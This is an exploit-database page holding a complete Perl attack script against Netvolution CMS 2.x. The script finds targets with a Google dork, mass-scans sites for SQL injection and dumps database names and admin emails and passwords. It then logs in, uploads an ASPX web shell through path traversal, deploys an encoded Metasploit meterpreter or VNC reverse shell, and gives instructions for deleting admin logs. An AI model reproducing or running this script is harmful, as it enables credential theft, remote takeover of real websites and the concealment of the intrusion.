发布 2010-06-10 漏洞条目

Netvolution CMS 2.x – SQL Injection Script

Exploit Source

#!/usr/bin/perl

#########################################################################################

# #

# Exploit Title: Netvolution exploit script for CMS Version >= 2.xx.xx.xx #

# Date: 10/6/2010 #

# Sotware Link: www.netvolution.net #

# Bug found : amquen, krumel #

# Exploited by: krumel #

# Exploit Coded: mr.pr0n #

# #

# Many thanks to icesurfer (author of SQLNINJA) and all p0wnbox members. #

# I have contact www.atcom.gr no response yet, although it seems that they have patch #

# partially the software. #

#########################################################################################

# #

# This program is free software; you can redistribute it and/or #

# modify it under the terms of the GNU General Public License #

# as published by the Free Software Foundation; either version 2 #

# of the License, or (at your option) any later version. #

# #

# This program is distributed in the hope that it will be useful, #

# but WITHOUT ANY WARRANTY; without even the implied warranty of #

# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #

# GNU General Public License for more details. #

# #

# You should have received a copy of the GNU General Public License #

# along with this program; if not, write to the Free Software #

# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. #

# #

#########################################################################################

#Using some modules!

use LWP::UserAgent;

use IO::Socket;

use IO::Handle;

print "\e[1;31m _ _ _ _ _ _ _ _ _ \e[0m\n";

print "\e[1;31m | \\ | | | | | | | | (_) | | (_) | \e[0m\n";

print "\e[1;31m | \\| | ___| |___ _____ | |_ _| |_ _ ___ _ __ _____ ___ __ | | ___ _| |_ \e[0m\n";

print "\e[1;31m | . ` |/ _ \\ __\\ \\ / / _ \\| | | | | __| |/ _ \\| '_ \\ / _ \\ \\/ / '_ \\| |/ _ \\| | __| \e[0m\n";

print "\e[1;31m | |\\ | __/ |_ \\ V / (_) | | |_| | |_| | (_) | | | | | __/> <| |_) | | (_) | | |_ \e[0m\n";

print "\e[1;31m |_| \\_|\\___|\\__| \\_/ \\___/|_|\\__,_|\\__|_|\\___/|_| |_| \\___/_/\\_\\ .__/|_|\\___/|_|\\__| \e[0m\n";

print "\e[1;31m | | \e[0m\n";

print "\e[1;31m |_| ...for CMS Version >= 2.xx.xx.xx \e[0m\n";

# ************* #

# Target dork.

# ************* #

print "\nGoogle Dork:";

print "\n\e[1;45mallinurl: 'default.asp?pid'\e[0m\n";

# ************ #

# Main Menu.

# ************ #

menu:;

print "\n[*] Main Menu:\n";

print " 1. Automated list site scan for injection.\n";

print " 2. Export all Infomation_Schema Tables and Columns.\n";

print " 3. Find all Databases.\n";

print " 4. Export all usernames and passwords of the 'cms_Users' table.\n";

print " 5. Manuall exploitation.\n";

print " 6. Compatibility with the Metasploit Framework.\n";

print " 7. Exit.\n";

print "> ";

$option=<STDIN>;

print "\n";

if ($option!=1 && $option!=2 && $option!=3 && $option!=4 && $option!=5 && $option!=6 && $option!=7)

{

print "\e[1;31mWrong Option!!\e[0m\n";

goto menu;

}

# Select Option.

if ($option==1)

{&site_scan} # Automated list site scan for injection.

if ($option==2)

{&info_schema_tables_and_columns}# Export all Infomation_Schema Tables and Columns.

if ($option==3)

{&extract_db}# Find all Databases.

if ($option==4)

{&automated_exploitation}# Export all usernames and passwords of the 'cms_Users'table.

if ($option==5)

{&manually}# Manuall exploitation.

if ($option==6)

{&metasploit}# Compatibility with Metasploit Project (Under construction).

if ($option==7)

{&quit}# Quit it!

# ******************************************* #

# Automated list site scan for injection.

# ******************************************* #

sub site_scan

{

$sites= "/Users/pentest/Desktop/sites.txt"; ######## ***[E_D_I_T H_E_R_E]*** ##############

$scan = "10+and+1=convert(int,db_name(1))";

# Counter

$i = 1;

print " [*]Opening site list... \n";

open (SITELIST, $sites);

print " [*]Sitelist opened successfully!\n";

print " [*]Scanning...\n";

@sitelist = <SITELIST>;

print " [*]Results:\n";

for ($i; $i <= @sitelist; $i++)

{

$host = $sitelist[$i];

chop ($host);

$int = LWP::UserAgent->new() or die;

$check=$int->get($host.$scan);

if ($check->content =~ m/value '(.*)' to/g)

{

print "\e[1;36m$host\e[0m\n";

}

goto menu;

}

# ********************************************************** #

# Exploiting *all* the Infomation_Schema Tables and Columns.

# ********************************************************** #

sub info_schema_tables_and_columns

{

# ***************#

# Table Counter

# ***************#

print "Enter your Target (e.g.: http://www.target.gr/default.asp?pid=73&artID=)\n";

print "> ";

$atcom=<STDIN>;

print "Enter the range scanning of Tables (e.g.: 15): \n";

print "> ";

$endt =<STDIN>;

# Counter

$countt = 1;

print "\n [*] Exloiting Information_Schema Tables...\n";

$infoschema_t = "10+and+1=convert(int,(se%l%e%c%t%20top%20%201%20table_name%20from%20Information_Schema.tables))";

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$infoschema_t);

if ($check->content =~ m/value '(.*)' to/g)

{

($first_t) = $1;

print "\e[1;33m$first_t\e[0m\n";

@chars_t = split(//, "$first_t");

$got_t = join("%", @chars_t);

$first_t = "%27$got_t%27";

for ($countt; $countt <= $endt; $countt++)

{

$fullsqli_t = "10+and+1=convert(int,(se%l%e%c%t%20top%20%201%20table_name%20from%20Information_Schema.tables%20where%20table_name%20not%20in($first_t)))";

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$fullsqli_t);

if ($check->content =~ m/value '(.*)' to/g)

{

($next_t) = $1;

print "\e[1;33m$next_t\e[0m\n";

@chars_t = split(//, "$next_t");

$got_t = join("%", @chars_t);

$next_t = $got_t ;

$first_t = $first_t.",%27".$next_t."%27";

}

else

{

print "\e[1;31mFAILED!\e[0m\n";

}

# ***************#

# Column Counter

# ***************#

print "Enter the range of scanning Columns (e.g.: 20)\n";

print "> ";

$endc =<STDIN>;

# Counter

$countc = 1;

print "[*] Exloiting Information_Schema Column...\n";

$infoschema_c = "10+and+1=convert(int,(se%l%e%c%t%20top%20%201%20column_name%20from%20Information_Schema.columns))";

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$infoschema_c);

if ($check->content =~ m/value '(.*)' to/g)

{

($first_c) = $1;

print "\e[1;33m$first_c\e[0m\n";

@chars_c = split(//, "$first_c");

$got_c = join("%", @chars_c);

$first_c = "%27$got_c%27";

for ($countc; $countc <= $endc; $countc++)

{

$fullsqli_c = "10+and+1=convert(int,(se%l%e%c%t%20top%20%201%20column_name%20from%20Information_Schema.columns%20where%20column_name%20not%20in($first_c)))";

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$fullsqli_c);

if ($check->content =~ m/value '(.*)' to/g)

{

($next_c) = $1;

print "\e[1;33m$next_c\e[0m\n";

@chars_c = split(//, "$next_c");

$got_c = join("%", @chars_c);

$next_c = $got_c ;

$first_c = $first_c.",%27".$next_c."%27";

}

else

{

print "\e[1;31mFAILED!\e[0m";

}

goto menu;

}

# *************************************** #

# Exploiting *all* the inside Databases.

# *************************************** #

sub extract_db

{

print "Enter your Target (e.g.: http://www.target.gr/default.asp?pid=73&artID=)\n";

print "> ";

$atcom=<STDIN>;

print "Enter the range of scanning Databases (e.g.: 30)\n";

print "> ";

$enddb =<STDIN>;

# Counter

$countdb = 1;

print "[*] Exloiting the inside Databases....\n";

for ($countdb; $countdb <= $enddb; $countdb++)

{

$db = "10+and+1=convert(int,db_name($countdb))";

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$db);

if ($check->content =~ m/value '(.*)' to/g)

{

($database) = $1;

print "[ID:$countdb]","\e[1;35m$database\e[0m\n";

}

else

{

print "\e[1;31mFAILED!\e[0m\n";

}

goto menu;

}

# ***************************************************************** #

# Exploiting *all* usernames and passwords of the table "cms_Users"

# ***************************************************************** #

sub automated_exploitation

{

print "Enter your Target (e.g.: http://www.target.gr/default.asp?pid=73&artID=)\n";

print "> ";

$atcom=<STDIN>;

print "Enter the range of scanning userID (e.g.: 20)\n";

print "> ";

$end =<STDIN>;

# Counter

$count = 1;

print "[*] Exloiting Usernames and Passwords...\n";

for ($count; $count <= $end; $count++)

{

$useremail = "10+and+1=convert(int,(se%l%e%c%t(substring(useremail,1,1000))%20from%20cms_Users%20where%20userID=$count%29%29";

$userpassword = "10+and+1=convert(int,(se%l%e%c%t%20(substring(userpassword,1,10000))%20from%20cms_Users%20where%20userID=$count%29%29";

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$useremail);

if ($check->content =~ m/value '(.*)' to/g)

{

($email) = $1;

print "[ID:$count]"," \e[1;32m$email\e[0m";

$gotmail = $email; # Usage for the section of Metasploit Framework.

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$userpassword);

if ($check->content =~ m/value '(.*)' to/g){

($pass) = $1;

print " : \e[1;32m$pass\e[0m\n";

$gotpass = $pass; # Usage for the section of Metasploit Framework.

}

else

{

print " : \e[1;31m-\e[0m\n";

}}

else

{

print "[ID:$count","] \e[1;31m-\e[0m : \e[1;31m-\e[0m\n";

}

goto menu;

}

# **************************************** #

# Exploiting Columns and Tables manually.

# **************************************** #

sub manually

{

print "Enter your Target (e.g.: http://www.target.gr/default.asp?pid=73&artID=)\n";

print "> ";

$atcom=<STDIN>;

print "Enter the name of your target's Table (e.g.: cms_Users)\n";

print "> ";

$table =<STDIN>;

print "Enter your the name of your target's Column (e.g.: userpassword)\n";

print "> ";

$column =<STDIN>;

print "Enter the range of scanning (e.g.: 10)\n";

print "> ";

$endm =<STDIN>;

$countm = 1;

print "[*] Manuall Exploitation...\n";

for ($countm; $countm <= $endm; $countm++)

{

$manually = "10+and+1=convert(int,(se%l%e%c%t(substring($column,1,1000))%20from%20$table%20where%20userID=$countm%29%29";

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$manually);

if ($check->content =~ m/value '(.*)' to/g){

($got) = $1;

print "[ID:$countm]"," \e[1;32m$got\e[0m\n";

}

else

{

print "[ID:$countm","] \e[1;31m-\e[0m : \e[1;31m-\e[0m\n";

}

goto menu;

}

# ***************************************************************** #

# Compatibility with the Metasploit Framework.

# ***************************************************************** #

sub metasploit

{

if (($gotmail eq "") or ($gotpass eq ""))

{

print "Enter your Target (e.g.: http://www.target.gr/default.asp?pid=73&artID=)\n";

print "> ";

$atcom=<STDIN>;

$end = 10;

$count = 1;

for ($count; $count < $end; $count++)

{

$useremail = "10+and+1=convert(int,(se%l%e%c%t(substring(useremail,1,1000))%20from%20cms_Users%20where%20userID=$count%29%29";

$userpassword = "10+and+1=convert(int,(se%l%e%c%t%20(substring(userpassword,1,10000))%20from%20cms_Users%20where%20userID=$count%29%29";

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$useremail);

if ($check->content =~ m/value '(.*)' to/g)

{

($email) = $1;

$gotmail = $email;

$int = LWP::UserAgent->new() or die;

$check=$int->get($atcom.$userpassword);

if ($check->content =~ m/value '(.*)' to/g){

($pass) = $1;

$gotpass = $pass;

$end = $count;

}}

}

if ($atcom =~ m/www.(.*).gr/g){

($site) = $1;

}

# Checking if the Metasploit Framework is already installed.

print "[*] Looking for the Metasploit Framework... ";

$msfcli = "";

$msfpayload = "";

if ($msfpath eq "") {

$path1 = $ENV{PATH};

@path = split(/:/,$path1);

foreach (@path) {

if (-e $_."/msfcli") {

$msfcli = $_."/msfcli";

} elsif (-e $_."/msfcli3") {

$msfcli = $_."/msfcli3";

}

if (-e $_."/msfpayload") {

$msfpayload = $_."/msfpayload";

} elsif (-e $_."/msfpayload3") {

$msfpayload = $_."/msfpayload3";

}

} else {

if (-e $msfpath."/msfcli") {

$msfcli = $msfpath."msfcli";

} elsif (-e $msfpath."/msfcli3") {

$msfcli = $msfpath."msfcli3";

}

if (-e $msfpath."/msfpayload") {

$msfpayload = $msfpath."msfpayload";

} elsif (-e $msfpath."/msfpayload3") {

$msfpayload = $msfpath."msfpayload3";

}

if ($msfcli eq ""){

print "[\e[1;31m FAILED \e[0m]\n";

print "[-] msfcli not found\n";

exit(-1);

}

if ($msfpayload eq "") {

print "[\e[1;32m FAILED \e[0m]\n";

print "[-] msfpayload not found\n";

exit(-1);

}

print "[\e[1;32m DONE \e[0m]\n";

#Retrieve Cookie

system('curl -k -L -b cookies.txt -c cookies.txt -o step-1.html http://www.'.$site.'.gr/');

system('curl -k -L -b cookies.txt -c cookies.txt -d email='.$gotmail.' -d password='.$gotpass.' -o step-2.html http://www.'.$site.'.gr/admin/default.asp?ac=2');

#Upload Web-Backdoor

system('curl -k -L -b cookies.txt -c cookies.txt -F name=file1 -F filename=@cmdasp.aspx http://www.'.$site.'.gr/admin/tools/files/filesUpload.asp?folder=..%2F..%2F..%2Ffiles');

# Choose your payload.

print "Which payload you want to use?\n";

print " 1. Meterpreter\n 2. VNC\n";

while (($payload ne 1) and ($payload ne 2)) {

print "msf > ";

$payload = <STDIN>;

chomp($payload);

}

if ($payload == 1) {

$payload = "meterpreter";

} else {

$payload = "vncinject";

}

# Choose your connection.

print "Which type of connection you want to use?\n";

print " 1. bind_tcp\n 2. reverse_tcp\n";

while (($conn ne "1") and ($conn ne "2")) {

print "msf > ";

$conn = <STDIN>;

chomp($conn);

}

if ($conn == 1) {

$conn = "bind_tcp";

} else {

$conn = "reverse_tcp";

}

if ($conn eq "bind_tcp"){

print "Enter your Remote host\n";

print "msf > ";

$rhost = <STDIN>;

chomp $rhost

} else {

print "Enter your Public IP\n";

print "msf > ";

$lhost = <STDIN>;

chomp $lhost ;

print "Enter your Local Host\n";

print "msf > ";

$lhost1 = <STDIN>;

chomp $lhost1 ;

}

if ($conn eq "bind_tcp"){

print "Enter Remote port number\n";

} else {

print "Enter local port number\n";

}

$port = 0;

while (($port < 1) or ($port > 65535)){

print "msf > ";

$port = <STDIN>;

chomp($port);

}

# Choose your Encryption.

$enc = -1;

print "[*] Choose a payload encoding method:\n".

" 0. None\n".

" 1. Alpha2 Alphanumeric Mixedcase\n".

" 2. Alpha2 Alphanumeric Uppercase\n".

" 3. Avoid UTF8/tolower\n".

" 4. Call+4 Dword XOR\n".

" 5. Single-byte XOR Countdown\n".

" 6. Variable-length Fnstenv/mov Dword XOR\n".

" 7. Polymorphic Jump/Call XOR Additive Feedback\n".

" 8. Non-Alpha\n".

" 9. Non-Upper\n".

" 10. Polymorphic XOR Additive Feedback\n".

" 11. Alpha2 Alphanumeric Unicode Mixedcase\n".

" 12. Alpha2 Alphanumeric Unicode Uppercase\n";

while (($enc < 0) or ($enc > 12))

{

print "msf > ";

$enc = <STDIN>;

chomp($enc);

}

$encoder = " encoder=";

for ($enc)

{

/^0$/ && do {$encoder = ""};

/^1$/ && do {$encoder .= "x86/alpha_mixed "};

/^2$/ && do {$encoder .= "x86/alpha_upper "};

/^3$/ && do {$encoder .= "x86/avoid_utf8_tolower "};

/^4$/ && do {$encoder .= "x86/call4_dword_xor "};

/^5$/ && do {$encoder .= "x86/countdown "};

/^6$/ && do {$encoder .= "x86/fnstenv_mov "};

/^7$/ && do {$encoder .= "x86/jmp_call_additive "};

/^8$/ && do {$encoder .= "x86/nonalpha "};

/^9$/ && do {$encoder .= "x86/nonupper "};

/^10$/ && do {$encoder .= "x86/shikata_ga_nai "};

/^11$/ && do {$encoder .= "x86/unicode_mixed "};

/^12$/ && do {$encoder .= "x86/unicode_upper "};

}

# Creation of the executable payload.

$exe = "backup".int(rand()*010101);

$command = $msfpayload." windows/".$payload."/".$conn.$encoder." exitfunc=process";

if ($conn eq "bind_tcp")

{

$command .= " lport=".$port." X > /tmp/".$exe.".exe";

} else {

$command .= " lport=".$port." lhost=".$lhost." X "."> /tmp/".$exe.".exe";

}

if ($verbose == 1)

{

print "[v] Command: ".$command."\n";

}

system ($command);

unless (-e "/tmp/".$exe.".exe") {

print "[-] Payload creation... [\e[1;31m FAILED \e[0m]\n";

exit(-1);

}

print "[*] Payload creation... [\e[1;32m DONE \e[0m]\n";

print "[*] Payload (".$exe.".exe) created.\n";

$xpl = '/tmp/'.$exe.'.exe';

#Upload the executable file to the remote Webserver.

system('curl -k -L -b cookies.txt -c cookies.txt -F name=file1 -F filename=@'.$xpl.' http://www.'.$site.'.gr/admin/tools/files/filesUpload.asp?folder=..%2F..%2F..%2Ffiles');

$parameter = $exe.".exe";

# The child handles the request to the target, the parent calls Metasploit Framework!

$pid = fork();

if ($pid eq 0) {

sleep(1);

exit(0);

}

# This is the parent.

$syscommand = $msfcli." exploit/multi/handler "."PAYLOAD=windows/".$payload."/".$conn." ";

if ($conn eq "bind_tcp")

{

$syscommand .= "LPORT=".$port." RHOST=".$rhost." E";

print "\e[1;34m$syscommand\e[0m\n";

} else {

$syscommand .= "LPORT=".$port." LHOST=".$lhost1." E";

print "\e[1;34m$syscommand\e[0m\n";

}

#Execute msfcli

print "Are you ready to execute msfcli? (Press Enter)\n";

print "msf > ";

$enter = <STDIN>;

chomp($enter);

print " Please Wait...";

print "[*] Executing the msfcli... [\e[1;32m DONE \e[0m]\n";

system("xterm -bg black -fg white -bd black -e ".$syscommand." &"); # If you don't have xterm, install IT!

sleep(30); # Sleep 30 seconds to fire up Metasploit Framework!

#Execute metasploit shell throught Web-Backdoor (cmdasp.aspx).

system('curl -k -L -b /tmp/cookies.txt -c /tmp/cookies.txt -d __VIEWSTATE=%2FwEPDwULLTE2MjA0MDg4ODhkZKAYI%2BuShUtjaEQHez7lnHYtwecj -d txtArg="C:\Inetpub\EventSites\enterpriseitsecurity.gr\files\\'.$parameter.'" -d testing=excute -d __EVENTVALIDATION=%2FwEWAwLw6bCOCgKa%2B%2BKPCgKBwth5tWrCE%2BPx6jReXWdJAVRgAZWRoxo%3D http://www.'.$site.'.gr/files/cmdasp.aspx');

}

print "# ******************************************************************************#\n";

print "# CAUTION CAUTION CAUTION CAUTION CAUTION *#\n";

print "# ******************************************************************************#\n";

print "# In Order to delete the logs go to http://www.target.gr/files/cmdasp.aspx *#\n";

print "# and execute the following command : *#\n";

print "# *#\n";

print "# sqlcmd -S target_IP -U Database_User -P Database_Password -d Target_Database *#\n";

print "# -Q ''delete from cms_AdminLog where logRecDbTable='Your_Public_IP' '' -u *#\n";

print "# *#\n";

print "# The Username and password for the Database can be found inside global.asa *#\n";

print "# ******************************************************************************#\n";

# ***********#

# Quitting :D

# ***********#

sub quit

{

print "\e[1;31mExiting...Bye-Bye!\e[0m\n";

exit(1);

}

# ***************************************************************** #

作者: amquen & krumel
日期: 2010-06-10
类别: webapps
平台: asp

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection